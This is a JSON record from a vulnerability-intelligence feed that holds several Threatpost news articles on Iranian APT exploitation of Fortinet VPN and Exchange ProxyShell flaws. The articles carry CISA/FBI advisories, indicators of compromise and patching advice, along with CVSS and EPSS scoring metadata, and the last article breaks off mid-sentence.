"THREATPOST:BE0B5E93BD5FBBCB893FDDFE5348FDE9", "THREATPOST:BE11CFFFFEA1B470C8A24CA24D76A7C6", "THREATPOST:C3C8E90FB9A6A06B1692D70A51973560", "THREATPOST:C4369D60DE77B747298623D4FD0299B3", "THREATPOST:C4B358E42FF02B710BE90F363212C84F", "THREATPOST:C573D419AD6106E6579CCA4A18E2DBBE", "THREATPOST:C694354BA14A953DAFC9171CB97F0BC2", "THREATPOST:C6D292755B4D35E7E0FD459BBF6AFC7F", "THREATPOST:C754ECCAF3F8A3E6BCD670A88B3E4CAA", "THREATPOST:C9D2DB62AC17B411BFFF253D149E56F2", "THREATPOST:C9FBCC2A1C52CDB54C6AAB18987100F4", "THREATPOST:CAA9AA939562959323A4675228C233A5", "THREATPOST:CD9589D22198CE38A27B7D1434FEE963", "THREATPOST:CEEE25A4A4491980FA1ECB491795DBA9", "THREATPOST:CF3033203781AAC4EAAE83DDCF93ADE8", "THREATPOST:CF4E98EC11A9E5961C991FE8C769544E", "THREATPOST:CF93F3E6D1E96AACFAEE9602C90A711D", "THREATPOST:D098942E4435832E619282E1B92C9E0F", "THREATPOST:D240DF7FEF328139784DBE743FF84E9B", "THREATPOST:D358CF7B956451F0C53F878AF811409F", "THREATPOST:D5E02B5FD2809DCACF41DA1190794921", "THREATPOST:D7D5E283A1FBB50F8BD8797B0D60A622", "THREATPOST:DB4349EAC3DD60D03D1EBDEFF8ABAA8E", "THREATPOST:DC76A72269F271882F45A521CF7C3509", "THREATPOST:DD0FE8D3D9D205FA5CCA65C3EBDD62D2", "THREATPOST:DE6A0C7ECE2973F596891B00DC078055", "THREATPOST:DF2C6B28792FEC8F2404A7DC366B848F", "THREATPOST:E09CE3FA2B76F03886BA3C2D4DB4D8DB", "THREATPOST:E0C8A3622AEF61D726EED997C39BADFE", "THREATPOST:E424D9CD1C692F91FBD97FDDEDBCCE34", "THREATPOST:E60D2D0CCA5A225CA4BF5CEB5C7C3F59", "THREATPOST:E8074A338A246BED98CF95AD4F4E9CAF", "THREATPOST:E8A3AD011F9759F38AAB48D776396878", "THREATPOST:EC28F82F6C3ECD5D0BA7471D5BA50FD6", "THREATPOST:EDFBDF12942A6080DE3FAE980A53F496", "THREATPOST:EE0A71A925297032000651C344890BDD", "THREATPOST:F12423DD382283B0E48D4852237679FC", "THREATPOST:F72FDE7CB5D697EFD089937D42475E50", "THREATPOST:F87A6E1CF3889C526FDE8CE50A1B81FF", "THREATPOST:FC38FE49CDC6DFAD4E78D669DBFA5687", "THREATPOST:FDD0C98FAA16831E7A3B7CCE3BFC67FF", "THREATPOST:FDF0EE0C54F947C5167E6B227E92AE63", "THREATPOST:FE7B13B35ED49736C88C39D5279FA3D1"]}, {"type": "trendmicroblog", "idList": ["TRENDMICROBLOG:C927C873A9E9A7AF6B74D64EFAFA6B02"]}, {"type": "typo3", "idList": ["TYPO3-PSA-2021-004"]}, {"type": "ubuntu", "idList": ["USN-5192-1", "USN-5192-2", "USN-5197-1", "USN-5203-1", "USN-5222-1"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2021-4104", "UB:CVE-2021-44228", "UB:CVE-2021-45046", "UB:CVE-2021-45105"]}, {"type": "veracode", "idList": ["VERACODE:33244", "VERACODE:33337", "VERACODE:33348", "VERACODE:33382"]}, {"type": "vmware", "idList": ["VMSA-2021-0028.1", "VMSA-2021-0028.10", "VMSA-2021-0028.11", "VMSA-2021-0028.12", "VMSA-2021-0028.13", "VMSA-2021-0028.2", "VMSA-2021-0028.3", "VMSA-2021-0028.4", "VMSA-2021-0028.6", "VMSA-2021-0028.7", "VMSA-2021-0028.8", "VMSA-2021-0028.9"]}, {"type": "wallarmlab", "idList": ["WALLARMLAB:060FBB90648BCDE11554492408AE89C8", "WALLARMLAB:2AAA5E62EED6807B93FB40361B4927CB", "WALLARMLAB:90D3FFE69FF928689D36310EF8B1C4F3", "WALLARMLAB:E86F01AF50087BEB03AAB46947CDE884"]}, {"type": "wordfence", "idList": ["WORDFENCE:45390D67D024DD8C963E18DAE88303B2"]}, {"type": "zdi", "idList": ["ZDI-21-1541", "ZDI-21-819", "ZDI-21-821", "ZDI-21-822"]}, {"type": "zdt", "idList": ["1337DAY-ID-33133", "1337DAY-ID-33134", "1337DAY-ID-36667", "1337DAY-ID-37135", "1337DAY-ID-37136", "1337DAY-ID-37228", "1337DAY-ID-37257", "1337DAY-ID-37264", "1337DAY-ID-37889"]}]}, "score": {"value": 0.5, "vector": "NONE"}, "epss": [{"cve": "CVE-2018-13379", "epss": "0.974950000", "percentile": "0.999510000", "modified": "2023-03-19"}, {"cve": "CVE-2019-5591", "epss": "0.002020000", "percentile": "0.564530000", "modified": "2023-03-19"}, {"cve": "CVE-2020-12812", "epss": "0.008550000", "percentile": "0.797090000", "modified": "2023-03-19"}, {"cve": "CVE-2021-31207", "epss": "0.971850000", "percentile": "0.996470000", "modified": "2023-03-19"}, {"cve": "CVE-2021-34473", "epss": "0.974090000", "percentile": "0.998470000", "modified": "2023-03-19"}, {"cve": "CVE-2021-34523", "epss": "0.975070000", "percentile": "0.999600000", "modified": "2023-03-19"}, {"cve": "CVE-2021-44228", "epss": "0.975780000", "percentile": "0.999980000", "modified": "2023-03-19"}, {"cve": "CVE-2021-45046", "epss": "0.974160000", "percentile": "0.998520000", "modified": "2023-03-19"}, {"cve": "CVE-2021-45105", "epss": "0.972620000", "percentile": "0.996990000", "modified": "2023-03-19"}], "vulnersScore": 0.5}, "_state": {"dependencies": 1663301746, "score": 1684015195, "epss": 1679304688}, "_internal": {"score_hash": "0fa0c9ceac9292d81445e640c0d147bd"}}

{"threatpost": [{"lastseen": "2021-11-18T02:26:11", "description": "A state-backed Iranian threat actor has been using multiple CVEs \u2013 including both serious Fortinet vulnerabilities for months and a Microsoft Exchange ProxyShell weakness for weeks \u2013 looking to gain a foothold within networks before moving laterally and launching [BitLocker](<https://threatpost.com/hades-ransomware-connections-hafnium/165069/>) ransomware and other nastiness.\n\nA joint [advisory](<https://us-cert.cisa.gov/ncas/current-activity/2021/11/17/iranian-government-sponsored-apt-cyber-actors-exploiting-microsoft>) published by CISA on Wednesday was meant to highlight the ongoing, malicious cyber assault, which has been tracked by the FBI, the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Centre (ACSC) and the United Kingdom\u2019s National Cyber Security Centre (NCSC). All of the security bodies have traced the attacks to an Iranian government-sponsored advanced persistent threat (APT).\n\nThe Iranian APT has been exploiting Fortinet vulnerabilities since at least March 2021 and a Microsoft Exchange ProxyShell vulnerability since at least October 2021, according to the alert. The weaknesses are granting the attackers initial access to systems that\u2019s then leading to follow-on operations including ransomware, data exfiltration or encryption, and extortion.\n\nThe APT has used the same Microsoft Exchange vulnerability in Australia.\n\n## CISA Warning Follows Microsoft Report on Six Iranian Threat Groups\n\nCISA\u2019s warning came on the heels of [an analysis](<https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/>) of the evolution of Iranian threat actors released by Microsoft\u2019s Threat Intelligence Center (MSTIC) on Tuesday.\n\nMSTIC researchers called out three trends they\u2019ve seen emerge since they started tracking six increasingly sophisticated Iranian APT groups in September 2020:\n\n * They are increasingly utilizing ransomware to either collect funds or disrupt their targets.\n * They are more patient and persistent while engaging with their targets.\n * While Iranian operators are more patient and persistent with their social engineering campaigns, they continue to employ aggressive brute force attacks on their targets.\n\nThey\u2019ve seen ransomware attacks coming in waves, averaging every six to eight weeks, as shown in the timeline below.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/17104422/Fig1b-ransomware-timeline.jpg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/17104422/Fig1b-ransomware-timeline.jpg>)\n\nTimeline of ransomware attacks by Iranian threat actors. Source: MSTIC.\n\nIn keeping with what CISA described on Wednesday, MSTIC has seen the Iran-linked [Phosphorous group](<https://threatpost.com/apt-ta453-siphons-intel-mideast/167715/>) \u2013 aka a number of names, including Charming Kitten, TA453, APT35, Ajax Security Team, NewsBeef and Newscaster \u2013 globally target the Exchange and Fortinet flaws \u201cwith the intent of deploying ransomware on vulnerable networks.\u201d\n\nThe researchers pointed to a recent blog post by the [DFIR Report](<https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/>) describing a similar intrusion, in which the attackers exploited vulnerabilities in on-premise Exchange Servers to compromise their targets\u2019 environments and encrypt systems via BitLocker ransomware: activity that MSTIC also attributed to Phosphorous.\n\n## No Specific Sectors Targeted\n\nThe threat actors covered in CISA\u2019s alert aren\u2019t targeting specific sectors. Rather, they\u2019re focused on exploiting those irresistible Fortinet and Exchange vulnerabilities.\n\nThe alert advised that the APT actors are \u201cactively targeting a broad range of victims across multiple U.S. critical infrastructure sectors, including the Transportation Sector and the Healthcare and Public Health Sector, as well as Australian organizations.\u201d\n\n## Malicious Activity\n\nSince March, the Iranian APT actors have been scanning devices on ports 4443, 8443 and 10443 for the much-exploited, serious Fortinet FortiOS vulnerability tracked as [CVE-2018-13379](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379>) \u2013 a path-traversal issue in Fortinet FortiOS, where the SSL VPN web portal allows an unauthenticated attacker to download system files via specially crafted HTTP resource requests.\n\nIt\u2019s d\u00e9j\u00e0 vu all over again: In April, CISA had [warned](<https://threatpost.com/fbi-apts-actively-exploiting-fortinet-vpn-security-holes/165213/>) about those same ports being scanned by cyberattackers looking for the Fortinet flaws. In its April alert ([PDF](<https://www.ic3.gov/media/news/2021/210402.pdf>)), CISA said that it looked like the APT actors were going after access \u201cto multiple government, commercial, and technology services networks.\u201d\n\nThat\u2019s what APT actors do, CISA said: They exploit critical vulnerabilities like the Fortinet CVEs \u201cto conduct distributed denial-of-service (DDoS) attacks, ransomware attacks, structured query language (SQL) injection attacks, spearphishing campaigns, website defacements, and disinformation campaigns.\u201d\n\nCVE-2018-13379 was just one of three security vulnerabilities in the Fortinet SSL VPN that the security bodies had seen being used to gain a foothold within networks before moving laterally and carrying out recon, as the FBI and CISA said in the April alert.\n\nAccording to Wednesday\u2019s report, the APT actors are also enumerating devices for the remaining pair of FortiOS vulnerabilities in the trio CISA saw being exploited in March, which are:\n\n * [CVE-2020-12812](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12812>), an improper-authentication vulnerability in SSL VPN in FortiOS that could allow a user to log in successfully without being prompted for the second factor of authentication (FortiToken) if they changed the case of their username, and\n * [CVE-2019-5591](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5591>): a default-configuration vulnerability in FortiOS that could allow an unauthenticated attacker on the same subnet to intercept sensitive information by impersonating the LDAP server.\n\n\u201cThe Iranian Government-sponsored APT actors likely exploited these vulnerabilities to gain access to vulnerable networks,\u201d according to Wednesday\u2019s alert.\n\nIn May, the same Iranian actors also exploited a Fortinet FortiGate firewall to gain access to a U.S. municipal government\u2019s domain. \u201cThe actors likely created an account with the username \u201celie\u201d to further enable malicious activity,\u201d CISA said, pointing to a previous FBI flash alert ([PDF](<https://www.ic3.gov/media/news/2021/210527.pdf>)) on the incident.\n\nIn June, the same APT actors exploited another FortiGate security appliance to access environmental control networks associated with a U.S. children\u2019s hospital after likely leveraging a server assigned to IP addresses 91.214.124[.]143 and 162.55.137[.]20: address that the FBI and CISA have linked with Iranian government cyber activity. They did it to \u201cfurther enable malicious activity against the hospital\u2019s network,\u201d CISA explained.\n\n\u201cThe APT actors accessed known user accounts at the hospital from IP address 154.16.192[.]70, which FBI and CISA judge is associated with government of Iran offensive cyber activity,\u201d CISA said.\n\n## Yet More Exchange ProxyShell Attacks\n\nFinally, the gang turned to exploiting a Microsoft Exchange ProxyShell vulnerability \u2013 CVE-2021-34473 \u2013 last month, in order to, again, gain initial access to systems in advance of follow-on operations. ACSC believes that the group has also used [CVE-2021-34473](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34473>) in Australia.\n\nProxyShell is a name given to an attack that chains a trio of vulnerabilities together (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207), to enable unauthenticated attackers to perform remote code execution (RCE) and to snag plaintext passwords.\n\nThe attack was outlined in a presentation ([PDF](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>)) given by Devcore principal security researcher [Orange Tsai](<https://twitter.com/orange_8361>) at Black Hat in April. In it, Tsai disclosed an entirely new attack surface in Exchange, and a [barrage](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) of [attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>) soon followed. August was glutted with reports of threat actors exploiting ProxyShell to launch [webshell attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>), as well as to deliver [LockFile ransomware](<https://pbs.twimg.com/media/E9TmPo6XMAYCnO-?format=jpg&name=4096x4096>).\n\n## Indications of Compromise\n\n[CISA\u2019s detailed alert](<https://us-cert.cisa.gov/ncas/alerts/aa21-321a>) gives a laundry list of tactics and techniques being used by the Iran-linked APT.\n\nOne of many indicators of compromise (IOC) that\u2019s been spotted are new user accounts that may have been created by the APT on domain controllers, servers, workstations and active directories [[T1136.001](<https://attack.mitre.org/versions/v10/techniques/T1136/001>), [T1136.002](<https://attack.mitre.org/versions/v10/techniques/T1136/002>)].\n\n\u201cSome of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization,\u201d CISA advised.\n\nBesides unrecognized user accounts or accounts established to masquerade as existing accounts, these account usernames may be associated with the APT\u2019s activity:\n\n * Support\n * Help\n * elie\n * WADGUtilityAccount\n\nIn its Tuesday analysis, MSTIC researchers cautioned that Iranian operators are flexible, patient and adept, \u201c[having] adapted both their strategic goals and tradecraft.\u201d Over time, they said, the operators have evolved into \u201cmore competent threat actors capable of conducting a full spectrum of operations, including:\n\n * Information operations\n * Disruption and destruction\n * Support to physical operations\n\nSpecifically, these threat actors are proved capable of all these operations, researchers said:\n\n * Deploy ransomware\n * Deploy disk wipers\n * Deploy mobile malware\n * Conduct phishing attacks\n * Conduct password spray attacks\n * Conduct mass exploitation attacks\n * Conduct supply chain attacks\n * Cloak C2 communications behind legitimate cloud services\n\n_**Want to win back control of the flimsy passwords standing between your network and the next cyberattack? Join Darren James, head of internal IT at Specops, and Roger Grimes, data-driven defense evangelist at KnowBe4, to find out how during a free, LIVE Threatpost event, **_[**\u201cPassword Reset: Claiming Control of Credentials to Stop Attacks,\u201d**](<https://bit.ly/3bBMX30>)_** TODAY, Wed., Nov. 17 at 2 p.m. ET. Sponsored by Specops.**_\n\n[**Register NOW**](<https://bit.ly/3bBMX30>)_** for the LIVE event**__**!**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-17T17:04:01", "type": "threatpost", "title": "Exchange, Fortinet Flaws Being Exploited by Iranian APT, CISA Warns", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-11-17T17:04:01", "id": "THREATPOST:604B67FD6EFB0E72DDD87DF07C8F456D", "href": "https://threatpost.com/exchange-fortinet-exploited-iranian-apt-cisa/176395/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-26T23:21:31", "description": "Microsoft has broken its silence on the [recent barrage of attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>) on several ProxyShell vulnerabilities in that were [highlighted](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) by a researcher at Black Hat earlier this month.\n\nThe company [released an advisory](<https://techcommunity.microsoft.com/t5/exchange-team-blog/proxyshell-vulnerabilities-and-your-exchange-server/ba-p/2684705>) late Wednesday letting customers know that threat actors may use unpatched Exchange servers \u201cto deploy ransomware or conduct other post-exploitation activities\u201d and urging them to update immediately.\n\n\u201cOur recommendation, as always, is to install the latest CU and SU on all your Exchange servers to ensure that you are protected against the latest threats,\u201d the company said. \u201cPlease update now!\u201d \n[![Infosec Insiders Newsletter](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/10165815/infosec_insiders_in_article_promo.png)](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)Customers that have installed the [May 2021 security updates](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-may-2021-exchange-server-security-updates/ba-p/2335209>) or the [July 2021 security updates](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-july-2021-exchange-server-security-updates/ba-p/2523421>) on their Exchange servers are protected from these vulnerabilities, as are Exchange Online customers so long as they ensure that all hybrid Exchange servers are updated, the company wrote.\n\n\u201cBut if you have not installed either of these security updates, then your servers and data are vulnerable,\u201d according to the advisory.\n\nThe ProxyShell bugs that Devcore principal security researcher [Orange Tsai](<https://twitter.com/orange_8361>) outlined in a presentation at Black Hat. The three vulnerabilities (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) enable an adversary to trigger remote code execution on Microsoft Exchange servers. Microsoft said the bugs can be exploited in the following cases:\n\n\u2013The server is running an older, unsupported CU;\n\n\u2013The server is running security updates for older, unsupported versions of Exchange that were [released](<https://techcommunity.microsoft.com/t5/exchange-team-blog/march-2021-exchange-server-security-updates-for-older-cumulative/ba-p/2192020>) in March 2021; or\n\n\u2013The server is running an older, unsupported CU, with the [March 2021 EOMT](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>) mitigations applied.\n\n\u201cIn all of the above scenarios, you _must_ install one of latest supported CUs and all applicable SUs to be protected,\u201d according to Microsoft. \u201cAny Exchange servers that are not on a supported CU _and_ the latest available SU are vulnerable to ProxyShell and other attacks that leverage older vulnerabilities.\u201d\n\n**Sounding the Alarm**\n\nFollowing Tsai\u2019s presentation on the bugs, the SANS Internet Storm Center\u2019s Jan Kopriva [reported](<https://isc.sans.edu/forums/diary/ProxyShell+how+many+Exchange+servers+are+affected+and+where+are+they/27732/>) that [he found more](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) than 30,000 vulnerable Exchange servers via a Shodan scan and that any threat actor worthy of that title would find exploiting then easy to execute, given how much information is available.\n\nSecurity researchers at Huntress also reported seeing [ProxyShell vulnerabilities](<https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit>) being actively exploited throughout the month of August to install backdoor access once the [ProxyShell exploit code](<https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1>) was published on Aug. 6. But starting last Friday, Huntress reported a \u201csurge\u201d in attacks after finding 140 webshells launched against 1,900 unpatched Exchange servers.\n\nThe Cybersecurity & Infrastructure Security Agency (CISA) joined those sounding the alarm over the weekend, issuing [an urgent alert](<https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell>). They, too, urged organizations to immediately install the latest Microsoft Security Update.\n\nAt the time, researcher Kevin Beaumont expressed [criticism over Microsoft\u2019s messaging efforts](<https://doublepulsar.com/multiple-threat-actors-including-a-ransomware-gang-exploiting-exchange-proxyshell-vulnerabilities-c457b1655e9c>) surrounding the vulnerability and the urgent need for its customers to update their Exchange Server security.\n\n\u201cMicrosoft decided to downplay the importance of the patches and treat them as a standard monthly Exchange patch, which [has] been going on for \u2013 obviously \u2013 decades,\u201d Beaumont explained.\n\nBut Beaumont said these remote code execution (RCE) vulnerabilities are \u201c\u2026as serious as they come.\u201d He noted that the company did not help matters by failing to allocate CVEs for them until July \u2014 four months after the patches were issued.\n\nIn order of patching priority, according to Beaumont, the vulnerabilities are: [CVE-2021\u201334473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>), [CVE-2021\u201334523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) and [CVE-2021\u201331207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>).\n\nCVE-2021-34473, a vulnerability in which a pre-auth path confusion leads to ACL Bypass, was patched in April. CVE-2021-34523, also patched in April, is an elevation of privilege on Exchange PowerShell backend. CVE-2021-31207, a bug in which a post-auth Arbitrary-File-Write leads to remote code execution, was patched in May.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-26T12:39:54", "type": "threatpost", "title": "Microsoft Breaks Silence on Barrage of ProxyShell Attacks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-26T12:39:54", "id": "THREATPOST:83C349A256695022C2417F465CEB3BB2", "href": "https://threatpost.com/microsoft-barrage-proxyshell-attacks/168943/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-04-05T19:26:27", "description": "The FBI and the Cybersecurity and Infrastructure Security Agency are warning that advanced persistent threat (APT) nation-state actors are actively exploiting known security vulnerabilities in the Fortinet FortiOS cybersecurity operating system, affecting the company\u2019s SSL VPN products.\n\nAccording to an alert issued Friday by the FBI and CISA, cyberattackers are scanning devices on ports 4443, 8443 and 10443, looking for unpatched Fortinet security implementations. Specifically, APTs are exploiting CVE-2018-13379, CVE-2019-5591 and CVE-2020-12812.\n\n\u201cIt is likely that the APT actors are scanning for these vulnerabilities to gain access to multiple government, commercial and technology services networks,\u201d according to [the alert](<https://us-cert.cisa.gov/ncas/current-activity/2021/04/02/fbi-cisa-joint-advisory-exploitation-fortinet-fortios>). \u201cAPT actors have historically exploited critical vulnerabilities to conduct distributed denial-of-service (DDoS) attacks, ransomware attacks, structured query language (SQL) injection attacks, spear-phishing campaigns, website defacements, and disinformation campaigns.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe bug tracked as [CVE-2018-13379](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379>) is a path-traversal issue in Fortinet FortiOS, where the SSL VPN web portal allows an unauthenticated attacker to download system files via specially crafted HTTP resource requests.\n\nThe [CVE-2019-5591](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5591>) flaw is a default-configuration vulnerability in FortiOS that could allow an unauthenticated attacker on the same subnet to intercept sensitive information by impersonating the LDAP server.\n\nAnd finally, [CVE-2020-12812](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12812>) is an improper-authentication vulnerability in SSL VPN in FortiOS, which could allow a user to log in successfully without being prompted for the second factor of authentication (FortiToken) if they changed the case of their username.\n\n\u201cAttackers are increasingly targeting critical external applications \u2013 VPNs have been targeted even more this last year,\u201d said Zach Hanley, senior red team engineer at Horizon3.AI, via email. \u201cThese three vulnerabilities targeting the Fortinet VPN allow an attacker to obtain valid credentials, bypass multifactor authentication (MFA), and man-in-the-middle (MITM) authentication traffic to intercept credentials.\u201d\n\nHanley added, \u201cThe common theme here is: once they are successful, they will look just like your normal users.\u201d\n\nThe bugs are popular with cyberattackers in general, due to Fortinet\u2019s widespread footprint, researchers noted.\n\n\u201cCVE-2018-13379 is a critical vulnerability in the Fortinet FortiOS SSL VPN that has been favored by cybercriminals since exploit details became public in August 2019,\u201d Satnam Narang, staff research engineer at Tenable, said via email. \u201cIn fact, Tenable\u2019s 2020 Threat Landscape Retrospective placed it in our Top 5 Vulnerabilities of 2020 because we see threat actors continue to leverage it in the wild, well over a year after it was first disclosed.\u201d\n\nThe FBI and CISA didn\u2019t specify which APTs are mounting the recent activity.\n\n## Initial Compromise & Recon\n\nOnce exploited, the attackers are moving laterally and carrying out reconnaissance on targets, according to officials.\n\n\u201cThe APT actors may be using any or all of these CVEs to gain access to networks across multiple critical-infrastructure sectors to gain access to key networks as pre-positioning for follow-on data exfiltration or data encryption attacks,\u201d the warning explained. \u201cAPT actors may use other CVEs or common exploitation techniques\u2014such as spear-phishing\u2014to gain access to critical infrastructure networks to pre-position for follow-on attacks.\u201d\n\nThe joint cybersecurity advisory from the FBI and CISA follows last year\u2019s flurry of advisories from U.S. agencies about APT groups using unpatched vulnerabilities to target federal agencies and commercial organizations. For instance, in October [an alert went out](<https://threatpost.com/apt-groups-exploiting-flaws-in-unpatched-vpns-officials-warn/148956/>) that APTs were using flaws in outdated VPN technologies from Fortinet, Palo Alto Networks and Pulse Secure to carry out cyberattacks on targets in the United States and overseas.\n\n\u201cIt\u2019s no surprise to see additional Fortinet FortiOS vulnerabilities like CVE-2019-5591 and CVE-2020-12812 added to the list of known, but unpatched flaws being leveraged by these threat actors,\u201d said Narang. \u201cOver the last few years, SSL VPN vulnerabilities have been an attractive target for APT groups and cybercriminals alike. With the shift to remote work and the increased demand for SSL VPNs like Fortinet and others, the attack surface and available targets have expanded. Organizations should take this advisory seriously and prioritize patching their Fortinet devices immediately if they haven\u2019t done so already.\u201d\n\n## **How Can I Protect My Network from Cyberattacks? **\n\nThe FBI and CISA suggest a range of best practices to help organizations thwart these and other attacks:\n\n * Immediately patch CVEs 2018-13379, 2020-12812 and 2019-5591.\n * If FortiOS is not used by your organization, add key artifact files used by FortiOS to your organization\u2019s execution-deny list. Any attempts to install or run this program and its associated files should be prevented.\n * Regularly back up data, air-gap and password-protect backup copies offline. Ensure copies of critical data are not accessible for modification or deletion from the primary system where the data resides.\n * Implement network segmentation.\n * Require administrator credentials to install software.\n * Implement a recovery plan to restore sensitive or proprietary data from a physically separate, segmented, secure location (e.g., hard drive, storage device, the cloud).\n * Install updates/patch operating systems, software, and firmware as soon as updates/patches are released.\n * Use multifactor authentication where possible.\n * Regularly change passwords to network systems and accounts, and avoid reusing passwords for different accounts. Implement the shortest acceptable timeframe for password changes.\n * Disable unused remote access/Remote Desktop Protocol (RDP) ports and monitor remote access/RDP logs.\n * Audit user accounts with administrative privileges and configure access controls with least privilege in mind.\n * Install and regularly update antivirus and anti-malware software on all hosts.\n * Consider adding an email banner to emails received from outside your organization.\n * Disable hyperlinks in received emails.\n * Focus on awareness and training. Provide users with training on information security principles and techniques, particularly on recognizing and avoiding phishing emails.\n\n**_Check out our free _**[**_upcoming live webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:_**\n\n * April 21: **Underground Markets: A Tour of the Dark Economy** ([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>))\n\n** **\n", "cvss3": {}, "published": "2021-04-02T19:56:57", "type": "threatpost", "title": "FBI: APTs Actively Exploiting Fortinet VPN Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812", "CVE-2020-9922"], "modified": "2021-04-02T19:56:57", "id": "THREATPOST:2DFBDDFFE3121143D95705C4EA525C7A", "href": "https://threatpost.com/fbi-apts-actively-exploiting-fortinet-vpn-security-holes/165213/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-10-01T12:44:45", "description": "A new APT group has emerged that\u2019s specifically targeting the fuel and energy complex and aviation industry in Russia, exploiting known vulnerabilities like Microsoft Exchange Server\u2019s [ProxyShell](<https://threatpost.com/microsoft-barrage-proxyshell-attacks/168943/>) and leveraging both new and existing malware to compromise networks.\n\nResearchers at security firm [Positive Technologies](<https://www.ptsecurity.com/ww-en/>) have been tracking the group, dubbed ChamelGang for its chameleon-like capabilities, since March. Though attackers mainly have been seen targeting Russian organizations, they have attacked targets in 10 countries so far, researchers said in a 